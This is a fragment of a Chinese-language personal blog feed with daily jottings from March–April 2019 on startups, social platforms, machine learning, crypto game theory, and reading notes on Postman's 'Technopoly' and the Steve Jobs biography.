  • 我祝福你不会太美,以至于把美看作完满的结局。
  • +
  • 她的回忆里已留下50载冬夏。
  • +
+

2019-04-02

    +
  • 经济学里几个很经典的概念:
  • +
  • 保险
  • +
  • 非合作型博弈论。
  • +
  • smart contract的有效程度和on-chain event的数量强相关。因为smart contract只能够根据on-chain event来出发,off-chain event会让参与者有defect的机会。
  • +
+

Ethereum

    +
  • 【剧本】连仅存的胜利都可以被压榨。他是一个 -拳击冠军- 。他失去了所有,为了那个价值百万的唯一翻身的机会。这是他唯一的溢价。未来世界会越来越难以产生溢价。溢价产生的前提在于信息不对等,或者价值不对等。但是总存在吸血鬼想要利用自己更大的影响力来抽空他们的荣耀。但不能是零和博弈,必须是合作类型的博弈。比如:在一场大型的团队合作游戏里?终于一个男孩他厌倦了,虽然支付了合约的价格,但是最终破坏了整个游戏。
    背景:game-warping。通过影响博弈的收益预期。来强制使得双方合作并支付。关键在于如何强制隔离两者的身份避免共谋。
    +

    这个机制的核心在于:通过威胁非合作的结果,来强制其中参与方支付并理性进行游戏。
    前提:即在没有干预的时候,他们也偏向合作的结果。同时博弈的action需要能够在链上broadcast,从而利用smart contract。
    观察:但这个发明其实是在提供一个有利可图的方式,然后使得大家努力把交易场景搬上ethereum。平台的管理者应当有这类型的思考。实际上是p+epislon attach。 Ethereum is game-changing technology, literally. – Virgil Griffith – Medium

    +
    +
  • +
  • 【剧本】AI时代,我们需要新的信息过滤机制。曾经这个机制来自于地缘限制,物理限制。人工智能能够创造真人都为之一叹的仿真品,比如文章、音乐、图片和视频。人工智能的作品将会足够支持大众阶级的消费,而高阶级的人能够享受人为的缺点。而缺陷是会被追逐的,大部分人会被单调的完美所统治。这意味着是否能够承受的稳定性,以及想象力。
    +

    当完美能够批量生产的时候。有害的不在于完美,而在于批量。人的鉴赏能力比作品本身的优劣更重要。为什么?这意味着我不是在对赌偶然性,我在锻炼自己的必然性。人工智能的作品,他们的音乐、画作不具备可解释性。而人可以。

    +
    +
  • +
  • facebook的cryptocurrency将首先登陆印度和whatsapp平台上。
  • +
+

2019-04-01

    +
  • 看书,让生活有了隐喻。回归了语境。
  • +
  • kaggle平台Elo推荐系统比赛
  • +
  • 视频的文字排版
  • +
  • 有时候,会把身边熟悉的人当作是自己的坐标系,他们不变,仿佛自己的生活也是静止的。直到终于有人要离开了。一年就过去了。和你们相识是很偶然的事,和你们告别却仿佛成为必然。于是我喜欢上了偶然发生的事,比如偶尔下雪的天。
  • +
+]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[碎语 2019 Mar.]]> + + http://chocoluffy.com/2019/04/05/碎语-2019-Mar/ + 2019-04-06T01:53:29.000Z + 2019-09-21T14:30:39.252Z + 2019-03-31
    +
  • TrimIt。一个有启发的故事。将barber通过Vans运输到客户那里,客户利用app预约剪头发。同时在剪头的时候打开车门,是效果很好的市场营销。这个可以应用于很多实体店的服务。
    接下来的商业化:从理发延伸到你的私人造型师,随时预约随到;以及基于地理位置的需求pooling。

    +
    +

    适用于提供相比家庭环境更专业的服务,却相比专业实体店更加便捷。类似需求比如:按摩、女士的美容美发美体等。相比剪发而言,美容很难做到在过程中打开车门让外界观摩,因为这个过程本身被认作是一个更私人的过程,而不是一个community聚集开放的过程。但同样能够包装营销的点在于服务后,将出门的过程赋予明星下车进场的意义。
    类似的灵感可以这么去找:在马路上沿着实体店铺走,看看哪种类别的可以被颠覆。

    +

    这也是Uber、Lyft所在的运输行业的前景。运输也能够成为一个平台,上面有物流、还可以有各种实体服务业。reach everyone to everything.

    +
    +
  • +
  • 线上3D超市机械手臂,用户远程挑选商品。

    +
  • +
  • 未来的短视频。你只要负责拍出最好的内容就可以了,平台通过后期来自动贴片广告(like Uru)。但生活场景上会有限制。
  • +
+

《乔布斯传》

+

我答应自己在毕业前要看的几本书。 其中有《乔布斯传》和《堂吉柯德》。

+

我想,教育,以及独特的经历在达成这样的目的:有一个坚定想要的东西,不会因为生活巨大的震荡所干扰。

+

而人的一生,也不过是通过漫长的道路,重新发现那两三个简单却丰盛的词语。然后从它们出发,去观察整个世界。

+

The journey is the reward.

+

以及我曾经写下的,不依赖理性而获得希望。
The journey is the reward. -《乔布斯传》阅读批注

+
+

2019-03-30

    +
  • 有同感。加缪认为这不荒谬。加缪借里厄医生的话表现过犹豫的。他回答过“在这人世上,什么都不值得人离开自己所爱。然而,我也离开了,却弄不清到底为什么。”,即便疲惫,即便有种无力感,即便他也说不清楚,里厄医生还是坚定的知道治疗为重。他说“这也不是英雄主义。但我不会爱这个让孩子受折磨的世界。”。相反,真正的荒谬说不定也可能是穷其一生去肯定自己的理想。比如毛姆的《刀锋》里的艾略特。他是穿着爵位的华服去世的。 保持距离,坚守理想(树上的男爵)书评
  • +
  • 树上的男爵。上树,远离人群,做一个真正的孤独者。
  • +
  • 以后如果我有机会把这些故事传递出去,我不想一开始就把他们的名字的说出来。我不需要他们名字的庇护。
  • +
  • 而本身教育的存在就是一个信息过滤和中心化的媒介。你拥有导师根据他们的经验和社会的俗成见解过滤和形成抵达学生的文化环境。而现在互联网、终端设备的普及将极大地打破很多精心营造的社会环境。科技的盲点 -《童年的消逝》读后感
  • +
  • 【剧本】 我最担心的是,那些仍旧坚持打击黑暗的勇士,被认为失去了一些道德的力量。
  • +
+

2019-03-29

    +
  • 很美的东西:遥远的相似性。
  • +
  • 【剧本】受影响的儿童是不知觉的,他们过早地失去了游戏而被卷入了成人严肃的比赛里。他们觉得他们是舞台上最闪耀的一颗,却说不清他们为什么必须站在万千宠爱的镁光灯里,又为什么只能笑。
  • +
  • cora。corazon 心脏。
  • +
  • 未来的趋势是游戏+直播。社会问题的逃避所。讽刺的是,有时候,我宁愿没有退路。我们什么时候脆弱到一定需要有安慰剂才能直面自己的人生呢。但或许,我是错的。
  • +
  • 自由的前提是什么:独立。人们会容易习惯让渡自己生活的一部分给外在工具,比如把关注问候一些人的能力寄托给社交网络,把控制情绪的权利交给段子和八卦。这同样意味着一件事:也就是这是一个极易造“神”的一个时代。人们借助先进的工具能够很快地进入一个细分区域开始精耕细作,展现出被高估着的所谓专业能力。我们想说的崇拜,其实是距离不够近。
  • +
  • ✍️ 和纪然的讨论:对知乎当下最好的战略是什么。为什么我会坚持说:越纯粹的体验,就越能够成为护城河。
    +

    因为越纯粹的体验,意味着越私人。

    +
    +
  • +
  • 很多时候我们在问题里突出“最好”,并不是为了找到最好的答案,而是在强调往那个方向探索所需要的努力。
  • +
+

2019-03-28

    +
  • “夜晚,灯光昏暗,你只能看见你想看见的人。”
  • +
  • “没有广告的压力,Netflix就不用考虑每部片子的播放量,可以放手大胆地制作各种小众类型的片子,像前面提到的《罗马》就是一部小众的艺术片。因为对Netflix来说,最重要的不是保证播放量,而是保证每一个付了费的用户,打开Netflix都能找到自己想看的片子。因为用户最重要,所以Netflix把用户体验做到了极致,每部剧的页面都是极简风格,干干净净,没有花里胡哨的内容,也不显示播放量。前阵子它们甚至把每部剧的评论都取消了,因为觉得会对用户形成干扰。但大而全对用户来说是没有吸引力的,真正能形成粘性的是别人没有的优质内容和优质服务。”
  • +
  • Netflix:Cindy Holland,Intv
  • +
+

2019-03-27

    +
  • 在动漫里,只是战斗恰好是最直观的方式来宣判胜负和时代的变迁。而在真实世界里,只要想法不死,总有一天会迎来新时代。
  • +
  • 🌟The Next Generation of Neural Networks - YouTube 把07年Hinton在Google的talk翻出来看了一遍。Hinton讲的是真的清楚,带着他的英式幽默。
      +
    1. 原来Hinton一开始的deep neural network只是stacked起来的restricted Boltzmann machine。而deep layers + back propagation的选项更早其实就出现了,但性能不够好。
    2. +
    3. labels虽然是最容易exploit的信息,但是Hinton还是选择了从unsupervised的generative model入手,只拿labels做最后fine-tune用。
    4. +
    5. 用gaussian noise干扰auto-encoder kernel以强化decision boundary的部分真是精彩,如果当时Hinton接着去动态地更新noise而不是用fixed noise,这就是最早的GAN呀。
    6. +
    7. ravine,以及supermarket search的比喻很形象。要学习这种表达方式来传达复杂概念。
    8. +
    9. 虽然只是07年,但我能从talk里看得出来后来才出现的Convolutional Neural Network,Attention以及Adversarial Network的影子。Adversarial的想法真的很有意思,我想在推荐算法里也试一试。
      想起还在多大的时候上的来自Urtasun, Ruslan以及Roger等Hinton系的课,现在他们也散落四方成了能独挡一面的人物了。有种故事开篇的感觉,“世代传承的意志,时代的变迁,人的梦…”,哈哈哈太中二了。
    10. +
    +
  • +
+

2019-03-26

    +
  • 是你摧毁了,这个王国的魔术。
  • +
  • 想劝退这整个冬天。
  • +
  • 为什么这个冬天,没有像它曾经是的那样,落下。
  • +
  • 想到的时候,要有所举措。哪怕只是计划、记录,都比推迟到以后做要有效。
  • +
+

《技术垄断》波兹曼

+

4.5/5

+

有些时候我会很警惕被热烈拥护的主流观点,我不是在反对主流本身,而只是想看清楚我们会失去什么,和那些还没被说完甚至被刻意隐瞒的话。

+

这也是这本书观察技术进步史的角度。

+

工具带有偏见,也以偏见塑造着使用者。这很接近麦克卢汉的“媒介即信息”的理论,比如互联网这个媒介的普及,在改变着我们理解这个世界的方式,”真实“,”隐私“等词语的含义也远不同于过去的理解。

+

我有种感觉,工具提供着的某方面的便捷,也同时在消解着其成就繁荣的意义。比如,信息泛滥的时代,在贬低着信息的意义;煽动情绪的泛滥,在消解着情绪本身的严肃性。而消解意义,正是成为可交易商品的前奏。直到信息,情绪,乃至生活本身,都能够成为别人的消费。[1]

+

在18年的年终总结,“抵抗存在的被遗忘”[2],我从人的情绪本身出发,去观察媚俗。而波兹曼则再退一步,是工具的演化在逐渐塑造着人们的情绪。他说,要守护那些重要的故事和符号,成为一个忠诚的抗争斗士。我想这或许就是他的存在主义。

+

这个世界是喜欢魔法的。魔法的意义,在于将人们的注意力指向错误的地方,并通过这种做法,唤起我们的好奇心,而不是理解力。如果我们不假思索地接受新发明,到最后我们也只能完成工具能完成的事。就像我们习惯性地对这一群人说,到最后我们只能说出他们想听的话。

+

而讽刺的是,每个时代都会演化出那个时代伟大的声音,让受害者享受伤害,而放弃辩诉的权利。

+

我会记住来自波兹曼的提醒。技术从来不是必然的,也从来不是自然的,都带着某种计划、日程和哲学。也许能够提升生活品质,也许不能。因而技术需要监督、建议和克制。

+

[1] 大喜哥走了,沈先生“疯了”:成就与摧毁他们的,是同一种肮脏

+
+

《技术垄断》- 阅读批注

+

2019-03-25

    +
  • 得到它未必有什么功德,失去它也未必有什么过失,比如:名誉。-莎士比亚
  • +
  • 有着国王的骄傲。
  • +
+

2019-03-24

    +
  • 【剧本】黑镜。你严肃反抗的样子,也能够成为流量。**毕竟成就和摧毁他们的,都是同一种肮脏。大喜哥走了,沈先生“疯了”:成就与摧毁他们的,是同一种肮脏
  • +
  • [18.10.27] 你是云,你想起我的时候,就化成了雨。
  • +
  • 【海贼王】要是说了,不就不能和你们当朋友了嘛。艾斯:为什么非要和我做朋友。路飞:因为我没有其他依靠了。
  • +
  • “nothing in this world is more fearful than sweetness.”
  • +
+

2019-03-23

    +
  • youtube给人一种错觉。来这里就可以获取这些内容。平台:所有权的交割。
  • +
+

2019-03-22

    +
  • 专业和专业主义的减少。
  • +
+

2019-03-21

    +
  • 他在起这个名字的时候,一定有着高望的眼眸。
  • +
  • 有些老衣服,有时间的味道。
  • +
+

2019-03-20

    +
  • 未来的趋势,硬件是缩短获取data的距离以及数据采集,虚拟化;软件的机器学习可以很大程度上补充硬件的缺失。
  • +
+

2019-03-19

    +
  • 向max和段威学习,多主动思考,而不是做应激性的思考。要有自己思考的一套体系。这个时代对思考最大的伤害,不是滥竽充数,而是优质的信息太多,而不给你停下来思考,拥有自己想法的时间。联想起那个播客里提到的现象,警惕「信息水龙头」,而是要自己去打造多面维度的选择。
  • +
  • ✍️ 理解在什么时候需要切入运营,并且大力出奇迹。
  • +
  • 教育方向的创业项目:
      +
    • 叮咚课堂:小班学生互动与AI老师。引入真人同学、助教、班级等社会化元素。理解课堂、以及教育的作用。一对一出现模式困局,AI伪直播成为教育企业新玩法?-亿欧
    • +
    • 优势:定价比真人服务低一个量级,对三线城市价格敏感地区的竞争力巨大。(拼多多)
    • +
    • 数据的积累和个性化。
      +

      与其把AI教师做的尽量逼真去试图蒙骗消费者,不如直接告诉消费者,AI教师的存在,以及作为助理的存在,甚至可以引入AI同伴来制造竞争压力。尽量复刻社会化互动。而互联网化的最大优势是,可以积累大部分的最佳实践和最大剂量的刺激。想起Path那个创业项目(积累最佳化的知识寻觅的path。譬如搜索途径等。)

      +

      直播。和真实世界的区别之一,在于数据的流向。真实世界可以被看作是最原始的阅后即焚,体验后即焚。

      +
      +
    • +
    +
  • +
  • 微信给我的一个启示。你一定要先足够强大,达到足够的垄断,才能保护你想要保护的东西,才有理想主义。
  • +
  • 知乎的mission应该是:your private library + your lens to the world of knowledge。一个东西,越私人,越personalized,就有越深的护城河(moat)。知乎应该模仿即刻,把信息、知识收集以及收纳赋能给个体。是一个很适合的领边市场(基于同一个商业逻辑,最容易拓展进入的业务场景,比如uber延展到uber eats;google maps延展到google点评)。
  • +
+

VC days

    +
  • 什么是在90s pitch里容易出问题的:
      +
    • 不适合体验类产品。
    • +
    • 不适合拥挤赛道的产品。比如fashion,以及e-commerce。
    • +
    • investor容易偏向新型方向上的需求,比如机器学习toB的方案; health tech;以及运动类别上的硬件。
    • +
    +
  • +
  • “虚空。捕空。”
  • +
+

一天世界 - 书本存在的意义

    +
  • 书本的存在,佛像的存在。理解的一个角度是,如果不是它们,我会被什么填满。我一定也不相信佛像就是佛,我一定也不相信书本就是知识。书本是知识的象征。而我们需要象征而活着。因为,抵抗filter bubble。书也是一种技术。多面维度的选择。而不是信息水龙头。现实是世界是最好的屏幕,dybamic land。
  • +
  • 深蓝色,像海底的呼吸。
  • +
+

2019-03-16

    +
  • 我在生产的时候,也在消费它。我祈祷的时候,我也是我自己的菩萨。
  • +
  • 为什么我们会觉得,美的东西可以甚至应当轻易地得到。
  • +
  • 我们,都带着我们一路以来的教养,站在对方面前微笑。
  • +
  • 我的脑袋是一只抽屉,里面只有一把剪刀和一只鹦鹉。我把我想听的剪下来。
  • +
  • 我想被你的呼吸安慰。
  • +
  • 旧货铺:时光。
  • +
+

2019-03-15

    +
  • 和自己最信任的人,做着自己最想做的idea,这种感觉真好。
  • +
  • hammingway六字诗:for sales,baby shoes,never worn。
  • +
  • 【剧本】上层人不仅聪明而且更加善良,他们为了更多人的安全,却手持着屠魔令。
  • +
  • 【剧本】讽刺。我准备好了丰盛的遗嘱,接着准备用我自己的死,成为今天的网络主角。
    +

    关于媒体操纵,导致恶意言论二次发酵而产生更深远的影响。深夜偏远屋子,小男孩眼神里折射出电视屏幕的昏蓝色。

    +
    +
  • +
+

2019-03-13

    +
  • “computer is not the bicycle for the mind anymore, it’s the self-driving car for the mind. “
  • +
  • docker-compose相比kubernetes也是一种选择。其中docker image可以push到ECR(AWS docker image register)然后在docker-compose.yml里加入来源。
  • +
  • 人设。从来都是观看者的想法。某种角度上是一个更具备效率的传达信息的机制。但我宁愿没有效率地看见你的完整。
  • +
+

2019-03-12

    +
  • cafe的工作人员已经换了第三批了。有一天在路上认出了曾经的staff,主动向他打招呼,他说他已经不在这里工作了,但是今天专门过来买杯咖啡。
  • +
+

2019-03-10

    +
  • 光从地底穿出来,仿佛我们是他们的天堂。
  • +
  • “大时代就是把人当玩意儿操弄的一个东西。”
    +

    我很警惕一个人提到“大时代”、“宏大”之类的概念,这个修辞会不会在掩盖一些无法入眼的真实的受难。

    +
    +
  • +
  • “正如有毒的癞蛤蟆对自身没有毒一样,人很快就会长出一层硬皮来抵御自己的诚实。” 库彻。
  • +
  • “只要我自己心目中的确定形态是依然完整,我就毫不欠缺任何人。”
  • +
  • “对生活给予的别无所求,仿佛猫的直觉。”
  • +
  • 一个检查paper是否写得简练的方法:把自己当作读者,假设希望高亮这个概念的时候,需要高亮多少区域。
  • +
  • bear可以把note里的header作为link了!很多“摘抄”里的段落可以合理归类一下!
  • +
  • “有一个疑问:视频动态是朋友圈的反面,拍出最真是的东西,胡乱拍都可以。那上传视频是否跟这种状态有冲突? 由于可以上传视频,肯定会被一些微商使用来拍广告,甚至见到有朋友通过视频动态发一些有趣的小视频。会不会做的像POP IM那样只能拍不能上传比较好呢?其实,我前期放过一些有趣的游戏录屏在视频动态。”
  • +
+

2019-03-07

    +
  • 这个时代成为内容提供者是最有优势的。
      +
    • 因为版权。科技的进步会不断提高追溯的能力。而仅仅依靠交易即版权割舍的模式会被慢慢优化掉。(netflix早期的模式)
    • +
    • 以及分发能力在指数级的进步。
    • +
    +
  • +
  • 而所谓机器学习,商业价值在于版权,GAN对版权的bypass。

    +
    +

    有点意思,这点和用户隐私也有类似的地方。fb当时出事之后其实根本不在意用户删除自己的账户数据,因为他们的行为数据已经被训练为模型,而模型所有权归属于fb。但仍然可以理解为公司利用模型来bypass了直接侵犯用户版权(用户数据)的风险。目前法律上判定基于原版权人作品重新制作是否侵犯版权一个重要指标是derivative work、proportion和直接利益诉求,在于多大程度上加入了自己的主观性,多大比例重合,以及是否直接涉及商业利益。可感觉GAN可以trick过这些,都还是很模糊的地带。突然发现原来大佬们all in ai都很有想法啊哈哈哈。

    +

    感觉是一个挺有意思的趋势,我一直感觉科技的发展其实是在强化版权拥有者的力量,以前我们直接买卖,所有权直接交割,现在我们慢慢步入订阅和租赁,只是占用使用权而非所有权,包括区块链普及之后大部分资产债券化也使得回溯每一笔交易以及持有者更可信和可能;但同时算法的发展和不可解释性也创造了很大的灰色地带,并甚至可以滥用为规避盗版指责的挡箭牌,“你说这图片、音乐、视频很相像,我说这是算法生成的全新东西,甚至就是以你的作品训练的,可都是算法的锅我都不知道呀”。于是又成了一个相互adversial的过程,哈哈哈GAN真香!

    +

    的确现在大部分所谓去中心化,保护用户隐私的应用根本达不到消费者水平,交易量瓶颈太明显了,同样是发邮件如果gmail几毫秒送达,而去中心化邮件客户端需要20分钟凭啥要消费者妥协。也是假设所有其他人都可能是attacker的条件太严苛,于是整个系统花太多traffic在各种共识的确认中。现在大部分所谓效能上的创新都是在往中心化的路子上走,Proof of Work 到Proof of Stake,于是斩下恶龙的骑士最终变成了恶龙??对用户协议来说唉都是不平等协议,一个愿宰一个愿挨了,但我就是愿挨啊哈哈哈哈哈😂

    +
    +
  • +
  • 你翩翩赴约,像蝴蝶降临。车流 NYC。每一辆车都是在赴约吧。

    +
  • +
  • 信念,念信。我认出了模糊的字迹,从此化作我一辈子的力量。
  • +
  • 19年的总结,最打动我的细节记录:
      +
    • 规则。不以善恶为约束的规则,而是效益,哈耶克。以及与区块链的联系。我帮助你,可以不依赖我的好心。
    • +
    • 堂吉柯德。我一度觉得这很荒谬。想到塞万提斯,没有这一点坚持,我是没有办法活下来的啊。想起,每一个人都背负着自己生活的背景和沉重故事,这越不止生活的高光与不堪那么简单,这还是历史,像风铃,还有很多每个人控制不了的东西。你同情我,说那些不值得,这里有更美好的东西,你看得见,你也可以拥有。可是,我没办法抛弃的了我的故事,也假装不了,我一路成长一路以来说服自己的力量,我没有办法轻易否定。我知道那么做了会很轻盈,是告别,是安慰,可是我做不到。
    • +
    +
  • +
+

2019-03-06

    +
  • 低频大宗交易,最重要的还是品牌。从每个月买一次洗衣粉,每半年买一次牙膏是用什么牌子,而你又是怎么知道这个牌子的就了解了。
  • +
+

2019-03-05

    +
  • 利用GBDT构建新的特征向量。GBDT缺乏online learning的能力,因此我们往往只能相隔一天甚至几天才能够update GBDT模型,就是说GBDT的部分几天更新一次,而LR的部分进行准实时的更新,这无疑是很好的工程实践经验。时至今日,我们已经开始使用大量不同的embedding方法进行特征编码,facebook当时的做法也对我们现在的工程实践有重要的参考价值。因为大量深度学习embedding方法的更新计算开销也非常大,但对实效性要求并不高,我们也完全可以低频更新embedding,高频或实时更新基于embedding特征的LR,NN等预测模型。
  • +
  • etherum的Casper protocol。以及关于debt和rent。债和租。是很有趣的话题,值得研究。
  • +
  • 快手直播pk的发明。
  • +
+

2019-03-03

    +
  • 要找到最简练的说法。很多知识点,现在学习的时候发现学通了,要去找到最好的说法。
  • +
  • 加密货币很有意思的。尤其是对在security规则的设计上面,其实就是达到了哈耶克想要实现的秩序设计。比如,不被发现,并不是指不能够被窃听到,而是,即便你能够窃听到,你也会花费大量的时间在破解上而显得不值得。【从效应上驳斥。哈耶克。使得人们都会尽可能去遵守规则】
  • +
  • 或许我们都只是这个世界路过的一条广告。
  • +
+

Social status as a service

+

Remains of the Day

+
    +
  • 对于社交网络来说,加入时间的早晚对你的要求是不一样的。早期的人是proof of work,晚期的人更多的是利用了已有的名气。一个人的社会名声是最容易转移的。reputation is transferable。
  • +
  • 社交网络的关键点在于反馈。twitter做成功的地方绝对不仅仅是UGC content,用户发布的内容,而是转发retweet。这个假设在于:没有多少人在意你午餐吃的是什么,他们是被你的幽默,你的才能所吸引,而引爆twiiter改变的关键是leaderboard。而同样关键的是,你的用户会成为你引导的方向。,成熟期的twiiter,大部分用户都成为幽默、话术的精通使用者。
  • +
  • 对于prisma的分析很老道:这个应用的主角是风格突出滤镜而不是个体,每个人的作品都太像了,没有proof of work的空间帮助用户区分自己以获得社会地位。,“The star is the filter, not the user, and so it didn’t really make sense to follow any one person over any other person. Without that element of skill, no framework for a status game or skill-based network existed. It was a utility that failed at becoming a Status as a Service business.” 而社交平台的作用是,不断去放大和凸显这种区分。
    这个分析角度同样可以用在抖音上,如果用户获取的内容大部分归结到同样的几首歌,会压缩用户proof of work的空间。也是为什么抖音成为了强运营的模式,因为其内容来源的局限性。
  • +
  • 为什么那些积分、徽章、认证或者是皮肤是简单而有效的方式。
  • +
  • 分析一个社交网站的三个维度是:社会地位,效用性和娱乐性。
  • +
  • 两个基础论点:
      +
    • 人们是追求社会地位的动物。(这一点解释了为什么一些社交网络成功了而另外一些失败了)
    • +
    • 人们遵守并追求效益最大化的路径。(这一点解释了为什么年轻人喜欢ins,而不是twitter,因为获得效益的难度不一样)、(这同样有另一层暗示,任何给用户效益设置上线的行为可能取得反面效果)
    • +
    +
  • +
  • 作者也提到了抖音:
      +
    • 算法分发,最大限度的区分了内容提供商的层级。同样也是的评价作品的好坏的标准,最大限度地贴合了作品本身的质量,而不是作者的人气。
    • +
    +
  • +
  • 作者提到另外一点:对于图状的社交平台来说,平台越大更容易出现赢者通吃的局面。“This development is interesting for another reason: graph-based social capital allocation mechanisms can suffer from runaway winner-take-all effects. In essence, some networks reward those who gain a lot of followers early on with so much added exposure that they continue to gain more followers than other users, regardless of whether they’ve earned it through the quality of their posts. One hypothesis on why social networks tend to lose heat at scale is that this type of old money can’t be cleared out, and new money loses the incentive to play the game.”,可以说,快手和抖音都是在试图解决这个问题,只是他们分别设置的threshold不一样。
  • +
  • 作者提出了对于评估社交平台的几个重要指标:
      +
    • time to X followers.
    • +
    • ROI on posts for new users. (关于retention & churn)
    • +
    +
  • +
  • 而换句话说,social status,就是流量。而平台定义的就是设计流量分发的规则。
  • +
  • 很多时候,抄袭特征是或是抄袭功能是不够的。除了常见的原因之外,还有的是,功能很多时候是和规模息息相关的。
  • +
  • Story是一个很好的产品创新,在于其尝试去解决社交压力。有没有注意到ins上的stories的排序,是和你交互最相关的,你几乎不会看到你不互动的人的动态!因此发布的人可以更加随心所欲的发布。
    “Stories, by putting the onus on the viewer to pull that content, allows everyone to publish away guilt-free, without regard for the craft that regular posts demand in the ever escalating game that is life publishing. In a world where algorithmic feeds break up your sequence of posts, Stories also allow gifted creators to create sequential narratives.
  • +
  • 分析问题的另一个思路:问题出在了生产者还是消费者一端。
  • +
  • “We have a generation now that has been trained through hundreds of thousands, perhaps millions of social media reps on what engages people on which platforms. In our own way, we are all Buzzfeed. We are all Kardashians.”
  • +
  • “You had my curiosity, but now, under the algorithmic feed, you have to earn my attention.”
  • +
  • “but let’s be honest, the incentives to lower interest rates on social capital in all these networks, given their goals and those of their investors, were just too great. If one company hadn’t flooded the market with status, others would have filled the void many times over.”
    宏观的角度:当大家都在争相绑定社会地位的时候,也是social status降息的时候。同时也是社会地位转移形式的时候。
  • +
  • 作者解释:为什么年轻人喜欢用社交网络,因为这里是一个新的战场,成年人已经有很多途径来建立自己的社会地位,比如通过职位,教育经历,成就等等,但是年轻人一无所有,在社交平台上拥有地位是他们能够达到的最有效的方式。
    这里有舞台和漂亮的灯,可我并不想站上去。
  • +
  • 很多人不这么做不是因为他们不想,而是因为这对他们没那么有利。效益论。
  • +
  • 如果你的服务是免费的那么获取你创造价值的最佳选择就是拥有一个市场让价值能够在那里得以实现和交换。
    对工具需要进化到社区的一个argument:价值留存。
  • +
+
+

2019-03-01

    +
  • 你失望的样子,像飘落的雪。
  • +
  • 慢慢发现自己的名字也会出现在别人的博客里。很奇妙的感觉。留下痕迹,说的就是这个意思吧。
  • +
  • 【观察】不止一次碰到反馈,在头条号发的文章的阅读量比在公众号要高。思考下智能分发。
  • +
  • 国内youtube是不是还是空白。b站?最好用的视频托管平台,压缩算法。
  • +
  • 视频搜索。
    +

    依旧是这个观察,比如我想了解蛋白粉,我会发现在youtube上的答案呈现的更加完整。

    +
    +
  • +
  • 按照张小龙的思路去理顺快手电商的做法。你的影响力的归途并不是将一个你自己都不信的东西卖给你的粉丝。
  • +
  • 深度社区的集合(以虎扑、豆瓣为代表的“公共社区”)。中国amino。应当有即刻作为辅助工具。
  • +
  • 平台:依赖的是用户规模,垂直。
  • +
+]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[The journey is the reward. -《乔布斯传》阅读批注]]> + + http://chocoluffy.com/2019/04/05/The-journey-is-the-reward-《乔布斯传》阅读批注/ + 2019-04-05T18:39:59.000Z + 2019-09-21T14:30:39.240Z + 我答应自己在毕业前要看的几本书。 其中有《乔布斯传》和《堂吉柯德》。

+

我想,教育,以及独特的经历在达成这样的目的:有一个坚定想要的东西,不会因为生活巨大的震荡所干扰。

+

而人的一生,也不过是通过漫长的道路,重新发现那两三个简单却丰盛的词语。然后从它们出发,去观察整个世界。

+

The journey is the reward.

+

以及我曾经在日记里写下的,不依赖理性而获得希望。

+

Apple II

    +
  • 你永远不知道是哪些经历改变了你。是哪些美好的回忆。乔布斯的父亲是一名机械工,即便是没有人看到的背面,也要尽心尽力。
  • +
  • 黑塞。在他能够欺骗他父亲的时候。整个世界就变了。
  • +
  • “不同的宗教,像是通向同一个房子的不同的门。”
  • +
  • 要愿意把自己交出去。无论是名誉、身份还是利益。要让同伴感受到被信任。“如果他认为某件事情应该发生,那他就会尽力让他发生。”
  • +
  • 乔布斯追求极简产品主义的来源:在雅达利公司的时候游戏说明书非常简练,“投入硬币,躲开克林贡人。”
  • +
  • 一定要多去参加业界最前沿的讨论会。沃兹在家酿计算机俱乐部(homebrew computer club)里见到了Altair第一台个人计算机,其实是一块微处理器,他想到了他一直想设计出来的终端机和带有处理器的小型机的个人电脑方案,也就是未来的Apple I。
  • +
  • homebrew computer club: 精神是交换和分享,而不是做买卖。这是黑客伦理的体现:信息应该是免费的,也不能迷信权威。
  • +
  • 比尔盖茨在完成了Altair的BASIC语言编译器后,被club里的成员复制了编译器并相互分享,他认为应当付费。
  • +
  • 乔布斯开始说服沃兹把Apple I的想法商业化,卖这些电路板出去。他知道如何说服沃兹。赚不到钱没有关系,这一定会是一次有趣的经历。“即便我们赔了钱,我们也能拥有一家公司。”
  • +
  • 过程中很关键的一个节点,韦恩和乔布斯说服沃兹把电脑设计归为苹果公司所有。他的理由是,一个伟大的工程师,只有和一个伟大的营销人员合作,才有可能被世界所铭记。里面同样一个插曲,沃兹其实和惠普报告了他的设计的,但是惠普公司觉得这个属于业余爱好者的玩具。
  • +
  • 在home brew club里,从沃兹和乔布斯的讲话中能够感受得到他们的出发点。沃兹介绍了各个部件的发明,乔布斯则是说:“苹果的产品和Altair不同,所有的关键部件都已经内置在机器中了。他问了大家一个问题:人们愿意花多少钱来购买这么一台完美的机器?”
  • +
  • 沃兹的父亲曾经发出过质疑,认为乔布斯并没有创造任何东西,大部分贡献都来自于沃兹。但是沃兹清楚地知道乔布斯的作用,没有他,沃兹可能还在免费地发放自己设计的电路板的原理图。
  • +
  • 雅达利的奥尔康是一个很关键的人物。乔布斯曾经的上级,在未来很多场景里给乔布斯搭桥引线到他需要的人物。
  • +
  • 学会请求建议。即便与这个人的对话会失败,但可能他可以给你带给更重要的人。在投资人见到乔布斯并要求他们必须找到一个合作伙伴,要会销售以及商业计划的时候,乔布斯说:“给我三个推荐人选吧。”
  • +
  • 迈克马库拉。和乔布斯以及沃兹各持26%的股份。
  • +
  • 乔布斯又一次扭曲了现实:在说服沃兹全职加入苹果公司的时候。他联系沃兹的家人、朋友来说服他。
  • +
  • 马库拉向乔布斯传授的经验,苹果的营销哲学:
      +
    • empathy,共情。
    • +
    • focus,专注。
    • +
    • impute,灌输。人们的确会以貌取物。我们也许有最好的产品,最高的质量,最实用的软件等等,但如果我们以一种潦草马虎的方式来展示,顾客就会认为我们的产品也是潦草马虎的。要以创新的、专业的方式来展示产品。
    • +
    +
  • +
  • 苹果的公关是怎么找到的:乔布斯喜欢英特尔公司的广告设计,他直接致电英特尔询问他们的广告设计方,虽然经常被打发走,但是乔布斯几乎每天都会打来电话,直到设计方妥协来会面。
  • +
  • Simplicity is the ultimate sophistication。Apple II。
  • +
  • 乔布斯预定了第一届电脑展览会最前端的位置,要用最盛大的方式来发布Apple II。
  • +
  • 为了说服他加入,给一个程序员寄了一张不可退票的机票。
  • +
  • 施乐公司。Alan Kay,“预见未来最好的方式就是亲手创造未来”, “对待软件严肃认真的人,应该制造自己专属的硬件。”,也是施乐的工程师,开始思考取代电脑屏幕上的命令行和DOS提示符,并把桌面的概念应用到屏幕上。屏幕上会有很多文件和文件夹,用户可以用鼠标指向并点击自己想要使用的内容。
    +

    我可以想象得到从Apple II到图形界面的转变。

    +
    +
  • +
